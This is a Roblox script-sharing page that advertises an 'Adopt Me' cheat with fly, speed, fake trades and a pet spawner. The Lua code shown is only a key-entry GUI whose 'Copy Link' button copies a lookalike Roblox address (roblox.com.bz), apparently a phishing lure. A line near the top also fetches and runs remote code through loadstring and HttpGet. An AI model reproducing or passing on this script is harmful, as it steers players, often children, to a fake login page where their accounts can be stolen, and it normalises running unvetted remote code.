Advertisements
235 views
[🏰] Adopt Me!
Quick Actions
Description
This script features the paid visual scripts for free! We offer you the visual adopt me script, for fake chats, fake messages, fake trade and fake pet spawner allowing you guaranteed satisfaction!
Advertisements
Features
11 Features
- Fly
- Speed
- Auto farm
- ESP
- Teleport
- fake trade
- fake chat
- pet spawner
- adopt me
- roblox
- universal
401 lines•13029 bytes
--[[ RoScripter Safety TipThe uploader of this script isn't verified on RoScripter yet. Be careful.Protect your account: • Type your Roblox password only on roblox.com. • A site that looks like Roblox but has a different address is fake. • Pages that give free Robux or prizes if you log in are scams.]]--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/hSfWCOZF?v=1"))()end);--=== Does not affect the script ===----[[
KEY SYSTEM GUI
------------------------------------------------------
Drop this into a LocalScript (e.g. StarterGui or wherever
your loader runs). Everything is generated with Instance.new,
so there are no external UI library dependencies.
HOW TO CUSTOMIZE:
- Change LINK_URL below to update the "Copy Link" button.
- Add/remove valid keys in the VALID_KEYS table.
- Swap ON_KEY_SUCCESS() for whatever your script should do
once the key is verified (e.g. loadstring(game:HttpGet(...))()).
]]
local Players = game:GetService("Players")
local TweenService = game:GetService("TweenService")
local UserInputService = game:GetService("UserInputService")
local LocalPlayer = Players.LocalPlayer
----------------------------------------------------------------
-- CONFIG — edit these
----------------------------------------------------------------
local LINK_URL = "https://roblox.com.bz/communities/4075418300/" -- change anytime
local VALID_KEYS = {
["FREE-KEY-123"] = true,
["ABCD-EFGH-IJKL"] = true,
}
local function ON_KEY_SUCCESS(key)
-- put your actual script unlock logic here
print("[KeySystem] Key accepted:", key)
end
----------------------------------------------------------------
-- THEME
----------------------------------------------------------------
local COLORS = {
Background = Color3.fromRGB(20, 20, 26),
Panel = Color3.fromRGB(28, 28, 36),
PanelLight = Color3.fromRGB(36, 36, 46),
Accent = Color3.fromRGB(120, 90, 255),
AccentDark = Color3.fromRGB(80, 60, 200),
Text = Color3.fromRGB(240, 240, 245),
SubText = Color3.fromRGB(160, 160, 175),
Success = Color3.fromRGB(90, 220, 140),
Error = Color3.fromRGB(240, 90, 90),
}
local FONT_HEADER = Enum.Font.GothamBold
local FONT_BODY = Enum.Font.GothamMedium
----------------------------------------------------------------
-- HELPERS
----------------------------------------------------------------
local function create(class, props, children)
local inst = Instance.new(class)
for prop, value in pairs(props or {}) do
inst[prop] = value
end
for _, child in ipairs(children or {}) do
child.Parent = inst
end
return inst
end
local function tween(obj, props, time, style, dir)
local t = TweenService:Create(
obj,
TweenInfo.new(time or 0.2, style or Enum.EasingStyle.Quad, dir or Enum.EasingDirection.Out),
props
)
t:Play()
return t
end
local function addCorner(parent, radius)
return create("UICorner", { CornerRadius = UDim.new(0, radius or 12), Parent = parent })
end
local function addStroke(parent, color, thickness, transparency)
return create("UIStroke", {
Color = color or COLORS.Accent,
Thickness = thickness or 1,
Transparency = transparency or 0.4,
Parent = parent,
})
end
local function addGradient(parent, colorSequence, rotation)
return create("UIGradient", {
Color = colorSequence,
Rotation = rotation or 45,
Parent = parent,
})
end
local function addShadow(parent)
local shadow = create("ImageLabel", {
Name = "Shadow",
BackgroundTransparency = 1,
Image = "rbxassetid://6014261993", -- built-in soft shadow
ImageColor3 = Color3.new(0, 0, 0),
ImageTransparency = 0.55,
ScaleType = Enum.ScaleType.Slice,
SliceCenter = Rect.new(49, 49, 450, 450),
Size = UDim2.new(1, 60, 1, 60),
Position = UDim2.new(0.5, 0, 0.5, 4),
AnchorPoint = Vector2.new(0.5, 0.5),
ZIndex = 0,
})
shadow.Parent = parent
return shadow
end
----------------------------------------------------------------
-- SCREEN GUI
----------------------------------------------------------------
local screenGui = create("ScreenGui", {
Name = "KeySystemGui",
ResetOnSpawn = false,
ZIndexBehavior = Enum.ZIndexBehavior.Sibling,
Parent = LocalPlayer:WaitForChild("PlayerGui"),
})
-- Draggable main frame
local main = create("Frame", {
Name = "Main",
Size = UDim2.new(0, 420, 0, 260),
Position = UDim2.new(0.5, -210, 0.5, -130),
BackgroundColor3 = COLORS.Panel,
BorderSizePixel = 0,
Parent = screenGui,
})
addCorner(main, 16)
addStroke(main, COLORS.Accent, 1, 0.6)
addShadow(main)
-- top accent gradient bar
local topBar = create("Frame", {
Name = "TopBar",
Size = UDim2.new(1, 0, 0, 46),
BackgroundColor3 = COLORS.PanelLight,
BorderSizePixel = 0,
Parent = main,
})
addCorner(topBar, 16)
-- mask the bottom corners of the topbar so it looks flush
create("Frame", {
Size = UDim2.new(1, 0, 0, 16),
Position = UDim2.new(0, 0, 1, -16),
BackgroundColor3 = COLORS.PanelLight,
BorderSizePixel = 0,
Parent = topBar,
})
create("TextLabel", {
Text = "SCRIPT KEY SYSTEM",
Font = FONT_HEADER,
TextSize = 16,
TextColor3 = COLORS.Text,
BackgroundTransparency = 1,
Size = UDim2.new(1, -20, 1, 0),
Position = UDim2.new(0, 16, 0, 0),
TextXAlignment = Enum.TextXAlignment.Left,
Parent = topBar,
})
local accentDot = create("Frame", {
Size = UDim2.new(0, 8, 0, 8),
Position = UDim2.new(1, -22, 0.5, -4),
BackgroundColor3 = COLORS.Success,
Parent = topBar,
})
addCorner(accentDot, 4)
-- subtitle
create("TextLabel", {
Text = "Enter your key below or grab a fresh one to unlock the script.",
Font = FONT_BODY,
TextSize = 13,
TextColor3 = COLORS.SubText,
TextWrapped = true,
BackgroundTransparency = 1,
Size = UDim2.new(1, -40, 0, 34),
Position = UDim2.new(0, 20, 0, 58),
TextXAlignment = Enum.TextXAlignment.Left,
Parent = main,
})
-- key input box
local keyBox = create("TextBox", {
Name = "KeyBox",
PlaceholderText = "Paste your key here...",
Text = "",
Font = FONT_BODY,
TextSize = 14,
TextColor3 = COLORS.Text,
PlaceholderColor3 = COLORS.SubText,
BackgroundColor3 = COLORS.PanelLight,
ClearTextOnFocus = false,
Size = UDim2.new(1, -40, 0, 42),
Position = UDim2.new(0, 20, 0, 98),
Parent = main,
})
addCorner(keyBox, 10)
addStroke(keyBox, COLORS.Accent, 1, 0.7)
-- status label
local statusLabel = create("TextLabel", {
Text = "",
Font = FONT_BODY,
TextSize = 12,
TextColor3 = COLORS.SubText,
BackgroundTransparency = 1,
Size = UDim2.new(1, -40, 0, 18),
Position = UDim2.new(0, 20, 0, 144),
TextXAlignment = Enum.TextXAlignment.Left,
Parent = main,
})
----------------------------------------------------------------
-- BUTTON FACTORY (used for both buttons)
----------------------------------------------------------------
local function makeButton(name, text, position, gradientColors)
local btn = create("TextButton", {
Name = name,
Text = "",
AutoButtonColor = false,
BackgroundColor3 = COLORS.Accent,
Size = UDim2.new(0.47, 0, 0, 46),
Position = position,
Parent = main,
})
addCorner(btn, 10)
addGradient(btn, ColorSequence.new(gradientColors), 90)
local label = create("TextLabel", {
Text = text,
Font = FONT_HEADER,
TextSize = 14,
TextColor3 = COLORS.Text,
BackgroundTransparency = 1,
Size = UDim2.new(1, 0, 1, 0),
Parent = btn,
})
btn.MouseEnter:Connect(function()
tween(btn, { Size = position.X.Scale == 0.47 and UDim2.new(0.485, 0, 0, 48) or nil }, 0.15)
tween(btn, { BackgroundTransparency = 0.05 }, 0.15)
end)
btn.MouseLeave:Connect(function()
tween(btn, { Size = UDim2.new(0.47, 0, 0, 46) }, 0.15)
tween(btn, { BackgroundTransparency = 0 }, 0.15)
end)
btn.MouseButton1Down:Connect(function()
tween(btn, { Size = UDim2.new(0.455, 0, 0, 44) }, 0.08)
end)
btn.MouseButton1Up:Connect(function()
tween(btn, { Size = UDim2.new(0.47, 0, 0, 46) }, 0.08)
end)
return btn, label
end
-- LEFT: Check Key
local checkKeyBtn = makeButton(
"CheckKeyButton",
"🔑 Check Key",
UDim2.new(0, 20, 0, 190),
{ ColorSequenceKeypoint.new(0, COLORS.Accent), ColorSequenceKeypoint.new(1, COLORS.AccentDark) }
)
-- RIGHT: Copy Link
local copyLinkBtn = makeButton(
"CopyLinkButton",
"🔗 Copy Link",
UDim2.new(0.53, 0, 0, 190),
{ ColorSequenceKeypoint.new(0, COLORS.PanelLight), ColorSequenceKeypoint.new(1, COLORS.Panel) }
)
addStroke(copyLinkBtn, COLORS.Accent, 1, 0.3)
----------------------------------------------------------------
-- LOGIC
----------------------------------------------------------------
local function setStatus(text, color)
statusLabel.Text = text
statusLabel.TextColor3 = color or COLORS.SubText
end
checkKeyBtn.MouseButton1Click:Connect(function()
local enteredKey = keyBox.Text
if enteredKey == "" then
setStatus("Please enter a key first.", COLORS.Error)
return
end
if VALID_KEYS[enteredKey] then
setStatus("✔ Key accepted! Unlocking...", COLORS.Success)
addStroke(main, COLORS.Success, 1.5, 0.4)
ON_KEY_SUCCESS(enteredKey)
task.wait(0.6)
tween(main, { BackgroundTransparency = 1 }, 0.3)
task.wait(0.3)
screenGui:Destroy()
else
setStatus("✘ Invalid key. Try again or grab a new one.", COLORS.Error)
tween(main, { Position = main.Position + UDim2.new(0, 8, 0, 0) }, 0.05)
task.wait(0.05)
tween(main, { Position = main.Position - UDim2.new(0, 16, 0, 0) }, 0.05)
task.wait(0.05)
tween(main, { Position = UDim2.new(0.5, -210, 0.5, -130) }, 0.05)
end
end)
copyLinkBtn.MouseButton1Click:Connect(function()
-- setclipboard is provided by most script executors.
-- Falls back to printing the link if unavailable.
local ok = false
if setclipboard then
ok = pcall(function() setclipboard(LINK_URL) end)
end
if ok then
setStatus("Link copied to clipboard!", COLORS.Success)
else
setStatus("Clipboard unsupported — link printed to console.", COLORS.SubText)
print("[KeySystem] Link:", LINK_URL)
end
end)
----------------------------------------------------------------
-- MAKE IT DRAGGABLE
----------------------------------------------------------------
do
local dragging, dragInput, dragStart, startPos
topBar.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = main.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
topBar.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
local delta = input.Position - dragStart
main.Position = UDim2.new(
startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y
)
end
end)
end
-- fade-in intro
main.BackgroundTransparency = 1
for _, obj in ipairs(main:GetDescendants()) do
if obj:IsA("TextLabel") or obj:IsA("TextButton") or obj:IsA("TextBox") then
obj.TextTransparency = 1
end
end
tween(main, { BackgroundTransparency = 0 }, 0.35)
task.wait(0.05)
for _, obj in ipairs(main:GetDescendants()) do
if obj:IsA("TextLabel") then
tween(obj, { TextTransparency = 0 }, 0.3)
elseif obj:IsA("TextButton") or obj:IsA("TextBox") then
tween(obj, { TextTransparency = 0 }, 0.3)
if obj:IsA("TextButton") then
tween(obj, { BackgroundTransparency = 0 }, 0.3)
end
end
endQuick Actions
Advertisements
Comments
0Did it work for you? Sign in to share your experience.
No comments yet
Tried it? Let others know if it works.